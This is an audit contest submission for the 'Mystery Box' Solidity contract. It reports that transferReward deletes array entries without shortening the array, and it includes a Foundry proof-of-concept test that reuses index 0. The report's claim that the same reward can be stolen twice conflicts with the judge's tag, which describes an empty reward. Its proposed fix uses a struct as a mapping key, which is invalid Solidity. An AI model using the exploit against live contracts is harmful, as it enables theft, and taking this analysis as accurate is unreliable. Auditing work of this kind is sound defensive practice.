Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[H-3] Deleting elements in the mapping will not change the array length, leading to loss of funds in `MysteryBox::transferReward`

JJS

Summary

The transferReward function will transfer a msg.sender 's rewards to another user. The last line of the function deletes the rewards in a certain index, because it has been transferred to the other user. However, the function relies on the length of that array to make sure that the index is in it. Deleting the element in the mapping will not shorten the length. Thus a malicious user could pass in the same index an still transfer rewards that are not theirs anymore.

Vulnerability Details

function transferReward(address _to, uint256 _index) public {
@> require(_index < rewardsOwned[msg.sender].length, "Invalid index"); <@
rewardsOwned[_to].push(rewardsOwned[msg.sender][_index]);
@> delete rewardsOwned[msg.sender][_index]; <@
}

Impact

This will cause errors when the code will go through the require line. Consider this scenario and test that can be implemented in the test file:

1. Alice transfers her rewards to Bob.
2. The function will transfer the rewards.
3. Then it will delete the elements. Not changing the length of the array.
4. Alice passes the same index to the function. It will pass the require.
5. Alice transfers more rewards, the same one she already transferred.
6. Bob can withdraw the funds that he shouldn't have.

function test_can_steal_funds_with_same_index() public {
// Set up addresses
address alice = makeAddr("alice");
address bob = makeAddr("bob");
​
// Give funds to Alice and buying boxes
vm.deal(alice, 0.2 ether);
vm.startPrank(alice);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
// Opening boxes for reward
mysteryBox.openBox();
mysteryBox.openBox();
// Transfer rewards to Bob
mysteryBox.transferReward(bob, 0);
mysteryBox.transferReward(bob, 0);
vm.stopPrank();
}

Tools Used

Manual review, unit test

Recommendations

Consider using a nested mapping instead of array, this way there is no reason to check for length:

- mapping(address => Reward[]) public rewardsOwned;
- Reward[] public rewardPool;
+ mapping(address => mapping(Reward => uint256)) public s_rewardsOwned;
Updates

Appeal created

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

A user can poison the `rewardsOwned` of another user via `transferReward` of an empty reward index

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.